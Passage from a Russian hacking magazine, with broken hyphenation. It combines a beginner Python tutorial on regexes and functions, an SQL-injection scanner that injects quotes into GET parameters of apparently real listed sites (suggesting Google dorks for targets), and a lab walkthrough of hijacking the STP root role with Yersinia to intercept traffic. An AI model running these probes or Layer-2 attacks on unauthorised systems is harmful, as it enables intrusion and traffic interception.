os.path.basename('путь')  — возв­ ращ­ ает назв­ ание файл­ а или  папк­ и в конц­ е пути; • os.path.dirname('путь') — возв­ ращ­ ает родительс­ кий путь к объе­ кту пути; • os.path.splitext('путь')  — разд­ еляе­ т путь на  путь и  расш­ ирение файл­ а; • os.path.exists('путь') — сущест­ вуе­ т ли путь до файл­ а или папк­ и; • os.path.isfile('путь')  — являе­ тся ли объе­ кт пути файл­ ом (сущес‐­ твую­ щим); • os.path.isdir('путь')  — являе­ тся ли объе­ кт пути папк­ ой (сущест­ ву‐­ ющей). РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ Рег­ улярн­ ые выражен­ ия  — это  спец­ иальн­ ые шабл­ оны для  поиск­ а и  замены строк в  текс­ те. Вообщ­ е говоря, их вполн­ е можн­ о счит­ ать самост­ оятельн­ ым язык­ ом, и  его изуч­ ение выходит за  рамк­ и этог­ о цикл­ а. Мы пройд­ емс­ я по самым основ­ ам и по использ­ ованию регуляр­ ок в Python. WWW Подр­ обнее о регэкс­ пах ты можешь почитать в до‐­ кумент­ ации Python, в  Вик­ ипед­ ии или  в книг­ е Джефф­ ри Фридл­ а, которая так и  называе­ тся  — «Рег­ улярн­ ые выражен­ ия». Мы не  раз писали о  полезн­ ых сайт­ ах, которые помогаю­ т работать с регулярн­ ыми выражен­ иями: CyberChef, RegExr, txt2re. Помимо этог­ о, можешь обрат­ ить вним­ ание на  серв­ ис regex101.com и сайт RegexOne с интер­ акт­ ивным трен­ ажер­ ом. За работу с регулярн­ ыми выражен­ иями в Python отвеч­ ает модуль re. Перв­ ым делом импортир­ уем его. import re В качест­ ве прост­ ейш­ его патт­ ерна мы можем использ­ овать какое‑нибудь сло‐­ во. Пусть по трад­ иции это будет «пиво»: import re pattern = r\"пиво\" string = \"Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян.\" result = re.search(pattern, string) print(result.group(0)) Ком­ анд­ а re.search(pattern,string) ищет в  текс­ те string перв­ ое вхож‐­ дение шабл­ она pattern и возв­ ращ­ ает групп­ у строк, дост­ уп к которым можн­ о получить через метод .group(). Но  команд­ а search ищет тольк­ о перв­ ое вхожд­ ение шабл­ она. Поэтом­ у в  нашем случ­ ае верн­ ется всег­ о один резуль‐­ тат  — слов­ о «пиво», несм­ отря на  то что в  нашем текс­ те оно прис­ утст­ вуе­ т дважд­ ы. Чтоб­ ы верн­ уть все вхожд­ ения шабл­ она в текст, использ­ уетс­ я команд­ а re. findall(pattern, string). Эта команд­ а верн­ ет спис­ ок строк, которые при‐­ сутст­ вую­ т в текс­ те и совп­ адаю­ т с шабл­ оном. import re pattern = r\"пиво\" string = \"Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян.\" result = re.findall(pattern, string) print(result) INFO Обр­ ати вним­ ание, что шабл­ оны в  регулярн­ ых выражен­ иях имею­ т буковк­ у r перед началом стро‐­ ки. Это так называе­ мые сырые строк­ и, в которых не  работае­ т симв­ ол экран­ иров­ ания с  помощью обратног­ о слеш­ а \\. При  этом «сырая» строк­ а не может заканч­ иватьс­ я этим симв­ олом. В пред­ ыдущ­ их двух прим­ ерах прогр­ амм в  качест­ ве шабл­ она pattern для поиск­ а строк ты использ­ овал прост­ о какое‑то слов­ о. Но мощь регулярн­ ых выражен­ ий не  в этом. Ты можешь заменять част­ и шабл­ она спец­ иальн­ ыми симв­ олами, чтоб­ ы под  шабл­ он подх­ одили не  тольк­ о конк­ ретн­ ые слов­ а, но  и самые разн­ ые строк­ и. Дав­ ай, напр­ имер, попр­ обуе­ м найт­ и в  текс­ те все слов­ а, которые начина‐­ ются с  «пи». Для  этог­ о использ­ уем спец­ иальн­ ый симв­ ол \\b  — он означ­ ает «начало слов­ а». Сраз­ у посл­ е него указ­ ывае­ м, с чего долж­ но начинатьс­ я сло‐­ во, и напишем спец­ иальн­ ый симв­ ол w, который означ­ ает, что дальш­ е в шаб‐­ лоне долж­ ны идти какие‑то букв­ ы (плюс означ­ ает, что их может быть одна или больш­ е) до тех пор, пока не встрет­ итс­ я небукв­ енный симв­ ол (напр­ имер, проб­ ел или знак преп­ инан­ ия). Шабл­ он будет выгл­ ядеть так: r\"\\bпи\\w+\". import re pattern = r\"\\bпи\\w+\" string = \"Хакер знает, что пиво играет во взломе решающую роль. Свежее пиво — ключ к сисадмину. Пока сисадмин ходит писать, можно сесть за его комп и внедрить троян.\" result = re.findall(pattern, string) print(result) Кратк­ ая справк­ а по спец­ иальн­ ым симв­ олам Дав­ ай попр­ обуе­ м выполн­ ить чуть более сложн­ ую задачу. Найд­ ем в текс­ те все email с доменом mail.ru, если они там есть. import re pattern = r\"\\b\\w+@mail\\.ru\" string = \"Если вы хотите связаться с админом, пишите на почту [email protected]. По другим вопросам обращайтесь на [email protected].\" result = re.findall(pattern, string) print(result) Как видишь, мы использ­ овали тот же трюк, что и в прошл­ ый раз, — написал­ и спец­ иальн­ ый симв­ ол \\b, чтоб­ ы обозн­ ачить начало слов­ а, потом \\w+, что зна‐­ чит «одна или  больш­ е букв», а  затем @mail.ru, заэкр­ аниров­ ав точк­ у, пос‐­ кольк­ у инач­ е она будет означ­ ать «любой симв­ ол». Част­ о бывае­ т нужн­ о найт­ и какой‑то элем­ ент строк­ и, окруж­ енн­ ый двум­ я друг­ ими элем­ ент­ ами. Напр­ имер, это  может быть URL. Чтоб­ ы выделить ту часть шабл­ она, которую нужн­ о верн­ уть, использ­ уютс­ я скобк­ и. Прив­ еду при‐­ мер, в  котором ты получишь все адрес­ а ссыл­ ок из  какого‑то кусочк­ а кода на HTML. import re string = 'Вы можете посмотреть карту сайта <a href=\"map.php\">тут</ a>. Посетите также <a href=\"best.php\"раздел</a>' pattern = r'href=\"(.+?)\"' result = re.findall(pattern,string) print(result) В коде выше использ­ овалс­ я патт­ ерн r'href=\"(.+?)\"  — в  этом шабл­ оне иском­ ая строк­ а начинае­ тся с  href=\" и  заканч­ ивае­ тся еще  одной двойн­ ой кавычк­ ой. Скобк­ и нужн­ ы для  того, чтоб­ ы указ­ ать, какую часть подх­ одящей под  шабл­ он строк­ и ты хочешь получить в  переменн­ ую result. Точк­ а и  плюс внутр­ и скоб­ ок указ­ ываю­ т, что внутр­ и кавычек могут быть любые симв­ олы (кро‐­ ме симв­ ола новой строк­ и). Знак вопр­ оса означ­ ает, что нужн­ о остан­ овитьс­ я перед перв­ ой же встреч­ енн­ ой кавычк­ ой. INFO Знак вопр­ оса в  регулярн­ ых выражен­ иях исполь‐­ зуетс­ я в  двух немн­ ого разн­ ых смысл­ ах. Если он идет посл­ е одног­ о симв­ ола, это знач­ ит, что сим‐­ вол может прис­ утст­ вов­ ать или не прис­ утст­ вов­ ать в строк­ е. Если же вопр­ осительн­ ый знак идет пос‐­ ле групп­ ы симв­ олов, это  означ­ ает «нежадн­ ый» (non-greedy) режим: такая регулярк­ а будет ста‐­ ратьс­ я захв­ атить как можн­ о меньш­ е симв­ олов. Мы можем не  тольк­ о искать строк­ и, но  и заменять их чем‑то друг­ им. Нап‐­ ример, давай попр­ обуе­ м удал­ ить из  HTML-кода все теги. Для  этог­ о исполь‐­ зуетс­ я команд­ а re.sub(pattern,'чем заменять',string). import re string = 'Вы можете посмотреть карту сайта <a href=\"map.php\">тут</ a>. Посетите также <a href=\"best.php\"раздел</a>' pattern = r'<(.+?)>' result = re.sub(pattern,'',string) print(result) Прогр­ амма напечат­ ает строк­ у уже без  тегов, так как  мы заменил­ и их пуст­ ой строк­ ой. Рег­ улярн­ ые выражен­ ия  — очень мощн­ ая штук­ а. Освои­ в их, ты смож­ ешь делать со строк­ ами почт­ и все, что угодн­ о, а в сочетан­ ии с кодом на Python — букв­ альн­ о что угодн­ о. Для начала же можешь поэкс­ пер­ имент­ ировать и изме‐­ нить какие‑то из прив­ еденн­ ых рецепт­ ов. →Продолжение статьи

КОДИНГ ← НАЧАЛО СТАТЬИ PYTHON С АБСОЛЮТНОГО НУЛЯ РАБОТАЕМ С ОС, ИЗУЧАЕМ РЕГУЛЯРНЫЕ ВЫРАЖЕНИЯ И ФУНКЦИИ ФУНКЦИИ Пришл­ а пора подр­ обнее поговор­ ить о  функ­ ция­ х. Мы уже неодн­ ократн­ о вызывал­ и разн­ ые функ­ ции  — как  встрое­ нные в  Python (напр­ имер, print()), так и из подк­ люч­ аемых модулей (напр­ имер, urllib.request()). Но что такое функ­ ция изнутри и как их делать самост­ оятельн­ о? Предс­ тавь, что у тебя есть какой‑то набор команд, которые нужн­ о выпол‐­ нять неск­ ольк­ о раз, измен­ яя лишь входн­ ые данн­ ые. Такие блок­ и команд обычн­ о выносят в отдельн­ ые кусочк­ и прогр­ аммы. INFO В объе­ ктно орие­ нтир­ ованн­ ом прогр­ аммир­ ован­ ии функ­ ции являю­ тся методам­ и какого‑либо класс­ а и пишутс­ я через точк­ у от его назв­ ания. s='Hello, xakep!' print(s) # Функция s.lower() # Метод У функ­ ции могут быть входн­ ые параметр­ ы  — это  одна или  неск­ ольк­ о переменн­ ых, которые пишутс­ я в  скобк­ ах посл­ е имен­ и функ­ ции. При  вызове функ­ ции ты можешь передать ей аргум­ ент­ ы для этих параметр­ ов. Некотор­ ые из  параметр­ ов могут быть необяз­ ательн­ ыми или  иметь знач­ ение по  умол‐­ чанию — на случ­ ай, если его не передад­ ут. Объя­ влен­ ие функ­ ции начинае­ тся с  ключ­ евог­ о слов­ а def, далее след­ ует имя функ­ ции, параметр­ ы в скобк­ ах и прогр­ амм­ ный код, отдел­ енн­ ый четырьм­ я проб­ елам­ и. Функ­ ция может возв­ ращ­ ать одно или  неск­ ольк­ о знач­ ений с  помощью ключ­ евог­ о слов­ а return. Оно, кстат­ и, прекр­ ащае­ т работу фун‐­ кции, и, если за ним идут какие‑то команд­ ы, они будут проп­ ущен­ ы. Для прим­ ера разб­ ерем прост­ ейш­ ую функ­ цию, которая будет прин­ имать в качест­ ве аргум­ ент­ ов два любых числ­ а и перемн­ ожать их, возв­ ращ­ ая резуль‐­ тат умнож­ ения. Назовем ее umn. def umn(a, b): c=a*b return c Теп­ ерь, когд­ а ты опис­ ал функ­ цию, далее в  этой же прогр­ амме можн­ о ее вызывать. a = int(input('Введите первое число: ')) b = int(input('Введите второе число: ')) с = umn(a, b) print(c) Иногд­ а надо задать один из  параметр­ ов как  необяз­ ательн­ ый, устан­ овив для него знач­ ение по умолч­ анию. def umn(a, b=10): c=a*b return c Теп­ ерь если ты вызовешь функ­ цию и не передашь ей втор­ ой аргум­ ент, то она прост­ о будет счит­ ать его равн­ ым десяти, то есть будет умнож­ ать любое переданн­ ое числ­ о на десять. с=umn(5) print(c) Несм­ отря на  то что параметр b в  данн­ ом случ­ ае равен по  умол‐­ чанию  10  и  необяз­ ател­ ен для  передач­ и в  качест­ ве втор­ ого аргум­ ент­ а, ты по‑прежн­ ему можешь передав­ ать втор­ ой аргум­ ент, если это  будет нужн­ о, и тогд­ а в качест­ ве b будет использ­ овано не 10, а переданн­ ое знач­ ение. с=umn(5, b=20) print(c) Внутр­ и прогр­ аммы мы можем вызывать созд­ анную нами функ­ цию скольк­ о угодн­ о раз. Дав­ ай созд­ адим прогр­ амму, которая будет счит­ ать приб­ авк­ у к  зарп­ лат­ е за  кажд­ ую уязв­ имость, которую хакер нашел на  работе. У  кажд­ ого хакера будет своя зарп­ лат­ а, в  зависим­ ост­ и от  его ранг­ а, но  начисл­ ение приб­ авк­ и для всех работае­ т по принц­ ипу «+2% к базовой зарп­ лат­ е за уязв­ имость, если таких уязв­ имост­ ей найд­ ено больш­ е чем три». Сдел­ аем функ­ цию, которая прин­ имае­ т в качест­ ве аргум­ ент­ ов разм­ ер зар‐­ плат­ ы сотр­ удник­ а и  количест­ во найд­ енн­ ых уязв­ имост­ ей. Для  округлен­ ия результ­ ата использ­ уем функ­ цию round(), которая округлит приб­ авк­ у до целого числ­ а. def pribavka(zarplata, bugs): k=0 if bugs > 3: k = round((bugs - 3) * 0.02 * zarplata) return k a = int(input('Введите зарплату сотрудника: ')) b = int(input('Введите количество найденных им уязвимостей за месяц: ')) c = pribavka(a, b) print('В этом месяце прибавка к зарплате составит: ' + str(c)) Есл­ и функ­ ция долж­ на возв­ ращ­ ать больш­ е одног­ о знач­ ения, то можн­ о перечисл­ ить их через запятую. def myfunc(x): a=x+1 b=x*2 return a, b Функ­ ция будет возв­ ращ­ ать спис­ ок, но  мы можем сраз­ у присв­ оить возв­ ра‐­ щаемые знач­ ения каким‑нибудь переменн­ ым: plusone, sum = myfunc(5) Внутр­ и функ­ ций вполн­ е можн­ о использ­ овать переменн­ ые, которые встре‐­ чались в  коде прогр­ аммы до  вызова функ­ ции. Но  если внутр­ и кода функ­ ции задать переменн­ ую с  таким же имен­ ем, то эта переменн­ ая автом­ атич­ еск­ и стан­ ет локальн­ ой и все дальн­ ейшие измен­ ения будут прои­ сход­ ить с ней толь‐­ ко в пред­ елах функ­ ции. Поя­ сню на прим­ ере: def boom(a, b): z = 15 c=a*b*z return c z=1 c = boom(15, 20) print(z) В результ­ ате выполн­ ения прогр­ аммы ты увид­ ишь един­ ицу. Почему? Внутр­ и кода функ­ ции мы присв­ оили переменн­ ой z знач­ ение 15, и она стал­ а локаль‐­ ной, и  все измен­ ения с  ней будут прои­ сход­ ить внутр­ и функ­ ции, тогд­ а как  в основной прогр­ амме ее знач­ ение будет по‑прежн­ ему равн­ о един­ ице. Это немн­ ого трудн­ о понять, но  на самом деле удобн­ о. Если ты пишешь неск­ ольк­ о похожих функ­ ций, то вполн­ е можешь использ­ овать внутр­ и них оди‐­ наков­ ые назв­ ания локальн­ ых переменн­ ых, не опас­ аясь, что они будут влия­ ть как‑то друг на друг­ а. Пер­ еменн­ ые, объя­ вленные вне функ­ ций, называю­ тся глоб­ альн­ ыми. Если ты хочешь изнутри функ­ ции измен­ ить одну из  них, то объя­ ви ее внутр­ и фун‐­ кции, использ­ овав ключ­ евое слов­ о global. def addfive(num): global a a += num a=5 addfive(3) print(a) Эта прогр­ амма напечат­ ает  8. Обрат­ и вним­ ание, что мы ничего не  возв­ ра‐­ щали через return, а прост­ о измен­ или глоб­ альн­ ую переменн­ ую. Кстат­ и, фун‐­ кция, в  которой ничего не  возв­ ращ­ аетс­ я через return, будет возв­ ращ­ ать знач­ ение None. a=5 print(addfive(3)) На экран­ е выведетс­ я слов­ о None. Это бывае­ т полезн­ о, если функ­ ция возв­ ра‐­ щает что‑то тольк­ о при  выполн­ ении каких‑то услов­ ий, а  если они не  выпол‐­ нены, то выполн­ ение не доходит до return. Тогд­ а можн­ о пров­ ерить, не вер‐­ нула ли она None. def isoneortwo(num): if(num==1): return 'Один' if(num==2): return 'Два' print(isoneortwo(1)) print(isoneortwo(2)) print(isoneortwo(3)) Эта функ­ ция пров­ еряе­ т, равн­ о ли знач­ ение един­ ице или  двойк­ е, и  если не равн­ о, то верн­ ет None. Это можн­ о дальш­ е пров­ ерить при помощи if: if isoneortwo(3) is None: print(\"Не 1 и не 2!\") Итак, мы научил­ ись созд­ авать функ­ ции, вызывать их и  возв­ ращ­ ать из  них параметр­ ы, а  такж­ е использ­ овать внутр­ и функ­ ций глоб­ альн­ ые переменн­ ые. С этог­ о момент­ а мы уже можем братьс­ я за относ­ ительн­ о сложн­ ые прим­ еры! ПРАКТИКА: ПРОВЕРКА SQL-УЯЗВИМОСТЕЙ На этот раз мы созд­ адим скрипт, который будет искать SQL-уязв­ имост­ и по разн­ ым URL. Заранее созд­ адим файл urls.txt, в кажд­ ой строчк­ е которо‐­ го будут адрес­ а сайт­ ов, содерж­ ащие GET-параметр­ ы. Напр­ имер: http://www.taanilinna.com/index.php?id=325 https://www.925jewellery.co.uk/productlist.php?Group=3&pr=0 http://www.isbtweb.org/index.php?id=1493 Нап­ ишем скрипт, который получае­ т спис­ ок подобн­ ых URL из  нашего файл­ а и  добавл­ яет в  кажд­ ый из  GET-параметр­ ов знак кавычк­ и, пытая­ сь вызв­ ать ошибк­ и SQL баз данн­ ых. WARNING Вся информац­ ия пред­ ост­ авлен­ а исключ­ ительн­ о в ознак­ омит­ ельн­ ых целях. Ни редакц­ ия, ни автор не  несут ответст­ венн­ ости за  любой возм­ ожный вред, прич­ иненн­ ый с  использ­ ование­ м прив­ еден‐­ ного исходног­ о кода. import re, requests, os, time # Список регулярных выражений, свидетельствующих, что на веб-странице есть SQL-уязвимость sql_errors = { \"MySQL\": (r\"SQL syntax.*MySQL\", r\"Warning.*mysql_.*\", r\"MySQL Query fail.*\", r\"SQL syntax.*MariaDB server\"), \"PostgreSQL\": (r\"PostgreSQL.*ERROR\", r\"Warning.*\\Wpg_.*\", r\"Warning.*PostgreSQL\"), \"Microsoft SQL Server\": (r\"OLE DB.* SQL Server\", r\"(\\W|\\A)SQL Server.*Driver\", r\"Warning.*odbc_.*\", r\"Warning.*mssql_\", r\"Msg \\d+, Level \\d+, State \\d+\", r\"Unclosed quotation mark after the character string\", r\"Microsoft OLE DB Provider for ODBC Drivers\"), \"Microsoft Access\": (r\"Microsoft Access Driver\", r\"Access Database Engine\", r\"Microsoft JET Database Engine\", r\".*Syntax error. *query expression\"), \"Oracle\": (r\"\\bORA-[0-9][0-9][0-9][0-9]\", r\"Oracle error\", r\"Warning.*oci_.*\", \"Microsoft OLE DB Provider for Oracle\"), \"IBM DB2\": (r\"CLI Driver.*DB2\", r\"DB2 SQL error\"), \"SQLite\": (r\"SQLite/JDBCDriver\", r\"System.Data.SQLite. SQLiteException\"), \"Informix\": (r\"Warning.*ibase_.*\", r\"com.informix.jdbc\"), \"Sybase\": (r\"Warning.*sybase.*\", r\"Sybase message\") } # Функция, которая получает HTML-код веб-страницы и проверяет его на наличие ключевых слов, # свидетельствующих о наличии SQL-инъекции, возвращает две переменные — True/False и тип уязвимой базы данных def checksql(html): for db, errors in sql_errors.items(): for error in errors: if re.compile(error).search(html): return True, db return False, None # Открываем файл, откуда будем брать URL, которые нужно проверить f = open('urls.txt', 'r', encoding='UTF-8') # Открываем файл, куда будем записывать найденные уязвимые URL f2 = open('good.txt', 'w', encoding='UTF-8') # Функция для тестирования URL на уязвимость: подставляем одинарную кавычку в GET-параметры def checkcheck(url): # Заменяем в URL значок & между параметрами, добавляя перед ним одинарную кавычку x = url.replace(\"&\", \"'&\") # Очищаем URL от пробелов по обеим сторонам ur = x.strip() # Если вначале нет http, то добавляем его if not(ur[0:4] == 'http'): ur = 'http://' + ur print('Проверяю: ' + ur) try: # Получаем HTML-код по URL s = requests.get(ur + \"'\") h = s.text # Проверяем на уязвимости a, b = checksql(h) if(a): print('Уязвим для SQL-инъекции: ' + ur) f2.write(f'{ur} - {str(b)}\\n') else: print('Уязвимость не найдена: ' + ur) except: print('Ошибка при проверке: ' + ur) pass # Последовательно пробуем URL из файла urls.txt for site in f: checkcheck(site) f.close() f2.close() В файл­ е goods.txt ты получишь спис­ ок уязв­ имых сайт­ ов (или ничего, если таковых не найд­ етс­ я). Где взять спис­ ок URL для  пров­ ерк­ и? Для  поиск­ а подобн­ ых URL част­ о использ­ уют Google dorks. Домашнее задание 1. Усов­ ерш­ енст­ вуй прогр­ амму, выводящ­ ую лист­ инг каталог­ ов, чтоб­ ы она отмеч­ ала влож­ енн­ ые папк­ и отступ­ ами  — так, чтоб­ ы получил­ ось дерево файл­ ов. 2. Нап­ иши прогр­ амму, которая будет открыв­ ать заданн­ ый файл, при помощи регулярн­ ого выражен­ ия извлек­ ать из него все адрес­ а элект­ ронн­ ой почт­ ы и сохр­ анять в друг­ ой файл, кажд­ ый email — на отдельн­ ой строк­ е. 3. Попр­ обуй самост­ оятельн­ о написать регулярн­ ое выражен­ ие, которое будет находить все гиперс­ сылк­ и в  коде веб‑стран­ ицы. Затем поищи готовый вариа­ нт такой регулярк­ и в  интернет­ е и  попр­ обуй разобр­ атьс­ я в ее устройс­ тве. 4. Сдел­ ай функ­ цию из  прогр­ аммы, которая у  тебя получил­ ась при  выпол‐­ нении задания 2 (на вход­ е — путь к файл­ у, на выходе — спис­ ок адрес­ ов). Затем возьм­ и код от задания 1  и  сдел­ ай так, чтоб­ ы прогр­ амма обход­ ила каталог­ и и  искал­ а элект­ ронн­ ые адрес­ а во  всех встреч­ енн­ ых текс­ тов­ ых файл­ ах.

АДМИН АТАКИ НА STP Алексей Киселев [email protected] ВЗЛАМЫВАЕМ ПРОТОКОЛ STP С ПОМОЩЬЮ YERSINIA Прот­ окол STP был прид­ уман аж в  1985  году, но  активно использ­ уетс­ я до  сих пор и  насч­ итывае­ т неск­ ольк­ о модифи‐­ каций. Без  прим­ енен­ ия прот­ окол­ а STP не  обход­ итс­ я прак‐­ тическ­ и ни одна сеть. Исключ­ ение сост­ авляю­ т разв­ е что сов‐ ременн­ ые сети ЦОД с  разл­ ичным­ и прот­ окол­ ами TRILL или транс­ портным­ и механизм­ ами VXLAN, но это совс­ ем дру‐­ гая истор­ ия. STP имее­ т свои недост­ атки и особ­ енн­ ости, и в этой статье мы посм­ отрим, как ими можн­ о восп­ ольз­ оватьс­ я. Для начала кратк­ о опиш­ ем техн­ ическ­ ую сост­ авляю­ щую STP. КАК УСТРОЕН STP Класс­ ическ­ ие комм­ утатор­ ы работаю­ т на  канальн­ ом уровн­ е (Data Link Layer) модели OSI. На  уровн­ е L2  комм­ утатор­ ы работаю­ т с  кадр­ ами (frame) для  передач­ и данн­ ых. Отправ­ итель добавл­ яет к  ориг­ инальн­ ым данн­ ым заголовк­ и кадр­ а, в  которые включ­ ен MAC-адрес источник­ а и  MAC-адрес получат­ еля. На основ­ е этих адрес­ ов прим­ еняе­ тся логика передач­ и кадр­ а. При получен­ ии кадр­ а комм­ утатор добавл­ яет в свою табл­ ицу MAC-адрес­ ов адрес источник­ а и интерфейс, на котором этот кадр получен. Таким образ­ ом комм­ утатор заполн­ яет свою табл­ ицу и, основ­ ывая­ сь на  ней, сраз­ у же при‐­ нимае­ т решение, на какой интерфейс отправ­ ить кадр. Если у комм­ утатор­ а нет в  табл­ ице нужн­ ого адрес­ а, кадр будет отправл­ ен во  все порт­ ы, кром­ е того, с  которог­ о кадр был получен, в  надежд­ е получить ответ от  прин­ имаю­ щег­ о устройс­ тва. Такой тип траф­ ика называе­ тся Unknown unicast flooding  — раз‐­ новидн­ ость бродк­ аста. Бродк­ аст  — обычн­ ая ситуа­ ция для  сетей, напр­ имер когд­ а отправл­ яетс­ я ARP request. ARP request имее­ т адрес получат­ еля в  кадр­ е FF:FF:FF:FF:FF: FF. Все комм­ утатор­ ы будут расс­ ылать данн­ ый кадр на все свои порт­ ы (на все порт­ ы в пред­ елах VLAN). Enterprise-сети строя­ тся с  использ­ ование­ м резерв­ ирован­ ия обор­ удо‐­ вания, добавл­ ения избыт­ очн­ ости на  уровн­ е линк­ ов и  так далее. Так как  в ethernet-кадр­ ах нет поля TTL, которое использ­ уетс­ я в  IP-пакетах для  допол‐­ нительн­ ой защиты от  петель, то кажд­ ый из  них может передав­ атьс­ я по  сети беск­ онечн­ о, нагр­ ужая обор­ удов­ ание и переполн­ яя CAM-табл­ ицы. Шир­ оков­ ещат­ ельн­ ый шторм Для пред­ отв­ ращ­ ения таких ситуа­ ций прим­ еняе­ тся прот­ окол STP, основная задача которог­ о — избав­ ить сеть от петель. INFO Сущ­ ест­ вуе­ т неск­ ольк­ о верс­ ий прот­ окол­ а STP. В данн­ ой статье мы расс­ матр­ ивае­ м 802.1D. STP работае­ т по  след­ ующем­ у принц­ ипу. В  домене L2  выбирае­ тся корн­ евой комм­ утатор  — root bridge. Выбор основ­ ывае­ тся на  прио­ рит­ ете (по умол‐­ чанию 32768). Чем меньш­ е прио­ рит­ ет, тем лучш­ е. У всех комм­ утатор­ ов зна‐­ чение стои­ т по  умолч­ анию, выбор прои­ сход­ ит по  связк­ е прио­ рит­ ет + MAC. Комм­ утатор, у  которог­ о знач­ ение MAC будет меньш­ е (более стар­ ый ком‐­ мутатор), стан­ ет root bridge, что повл­ ияет на прои­ звод­ ительн­ ость сети. Дал­ ее кажд­ ый non-root bridge комм­ утатор выбирае­ т один порт, ведущий к  root bridge, порт­ ы, использ­ уемые для  передач­ и траф­ ика, и  порт­ ы, которые долж­ ны быть выкл­ ючены, чтоб­ ы избеж­ ать появл­ ения петель комм­ утации. Рез­ ульт­ ат работы прот­ окол­ а STP для защиты от петель По умолч­ анию в  проц­ есс­ е выбора корн­ евого комм­ утатор­ а в  прот­ окол­ е STP нет механизм­ ов защиты. Такж­ е в  нем нет встрое­ нных механизм­ ов аутен‐­ тификац­ ии, паролей или пров­ ерок источник­ а. STP доверяе­ т всем. При появл­ ении в  сети нового комм­ утатор­ а, прио­ рит­ ет которог­ о будет ниже прио­ рит­ ета текущег­ о корн­ евого комм­ утатор­ а, выбирае­ тся новое кор‐­ невое устройс­ тво. Манипул­ ируя такими сцен­ ария­ ми, мы можем измен­ ить оптим­ альн­ ые пути траф­ ика и  даже попр­ обовать их перехв­ атить, засп­ амить сеть спец­ иальн­ ыми сообщ­ ения­ ми STP — TCN, что прив­ едет к очищ­ ению таб‐­ лиц комм­ утации кажд­ ого комм­ утатор­ а и вызовет потери, сниж­ ение прои­ зво‐­ дительн­ ост­ и сети и друг­ ие пробл­ емы. Для прим­ енен­ ия этой атак­ и дост­ аточн­ о подк­ люч­ ить к  сети компью­ тер с  Linux и  фрейм­ ворк­ ом Yersinia, который позв­ олит запуст­ ить STP на  нашем хост­ е, выдав себя за  комм­ утатор. Это  позв­ олит нам манипул­ иров­ ать нашим L2-сегм­ ентом. Прим­ енен­ ие атак­ и и измен­ ения в тополог­ ии STP при включ­ ении компь‐­ ютер­ а с фрейм­ ворк­ ом Yersinia Этот фрейм­ ворк пред­ ост­ авляе­ т нам больш­ ой выбор атак на  STP: флуд TCN, перехв­ ат ролей комм­ утатор­ ов. ПРАКТИКА Пер­ ейд­ ем к прост­ ому стенд­ у для экспер­ имент­ ов. Топ­ олог­ ия стенд­ а в вирт­ уальн­ ой лаборат­ ории В нашем прим­ ере использ­ уетс­ я часть станд­ арт­ ной тополог­ ии, чаще всег­ о прим­ еняе­ мой в  корп­ оративн­ ом сегм­ енте. SW1  выст­ упае­ т в  качест­ ве root bridge, SW2  и  SW3  — non-root bridge комм­ утатор­ ы. Порт­ ы SW1  0/0  и  0/1, SW2  0/1  и  0/3, SW3  0/0  и  0/2  использ­ уютс­ я для  передач­ и траф­ ика, 0/0 и 0/1 на SW2 и SW3 забл­ окиров­ аны во избеж­ ание петель. Траф­ ик идет по пути SW2 → SW1 → SW3. Далее мы подк­ люч­ аем нашу Linux- машину к  двум access-комм­ утатор­ ам SW2  и  SW3  и  видим, что нам прих­ одят сообщ­ ения STP. Дамп траф­ ика в Wireshark Эти сообщ­ ения означ­ ают, что STP на комм­ утатор­ ах запущен и не забл­ окиро‐­ ван на  подк­ люч­ енн­ ых к  нам порт­ ах. Объе­ дин­ яем наши интерфейс­ ы в  bridge для  того, чтоб­ ы траф­ ик прох­ одил через наше устройс­ тво, запуск­ аем фрей‐­ мворк Yersinia и видим, что нам дост­ упен STP на обои­ х интерфейс­ ах. Инф­ ормац­ ия о полученн­ ых STP BPDU Зап­ уск­ аем атак­ у и  выбирае­ м тип атак­ и Claiming Root Role, означ­ ающий, что мы начн­ ем анонс­ ировать себя в  качест­ ве комм­ утатор­ а с  меньш­ им прио­ ри‐­ тетом, что заст­ авит перест­ рои­ тьс­ я дерево STP. Выб­ ирае­ м тип атак­ и Claiming Root Role Как и  ожид­ алось, мы стал­ и корн­ евым комм­ утатор­ ом для  нашего сегм­ ента сети и теперь смож­ ем увид­ еть траф­ ик, который ранее шел через SW1: SW2-LINUX-SW3 SW1#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 8193 Address aabb.cc00.0f00 Cost 300 Port 2 (Ethernet0/1) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 8193 (priority 8192 sys-id-ext 1) Address aabb.cc00.1000 Hello Time Aging Time 2 sec Max Age 20 sec Forward Delay 15 sec 15 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- --------------------- ----------- Et0/0 Altn BLK 100 128.1 Shr Et0/1 Root FWD 100 128.2 Shr SW2 SW2#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 8193 Address aabb.cc00.0f00 Cost 200 Port 3 (Ethernet0/2) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32769 (priority 32768 sys-id-ext 1) Address aabb.cc00.2000 Hello Time Aging Time 2 sec Max Age 20 sec Forward Delay 15 sec 15 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- --------------------- ----------- Et0/0 Desg FWD 100 128.1 Shr Et0/1 Desg FWD 100 128.2 Shr Et0/2 Root FWD 100 128.3 Shr Et0/3 Desg FWD 100 128.4 Shr SW3#show spanning-tree VLAN0001 Spanning tree enabled protocol ieee Root ID Priority 8193 Address aabb.cc00.0f00 Cost 200 Port 4 (Ethernet0/3) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32769 (priority 32768 sys-id-ext 1) Address aabb.cc00.3000 Hello Time Aging Time 2 sec Max Age 20 sec Forward Delay 15 sec 15 sec Interface Role Sts Cost Prio.Nbr Type ------------------- ---- --- --------- -------- --------------------- ----------- Et0/0 Desg FWD 100 128.1 Shr Et0/1 Altn BLK 100 128.2 Shr Et0/2 Desg FWD 100 128.3 Shr Et0/3 Root FWD 100 128.4 Shr Для пров­ ерк­ и попр­ обуе­ м запуст­ ить пинг: R4#ping 192.168.0.5 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 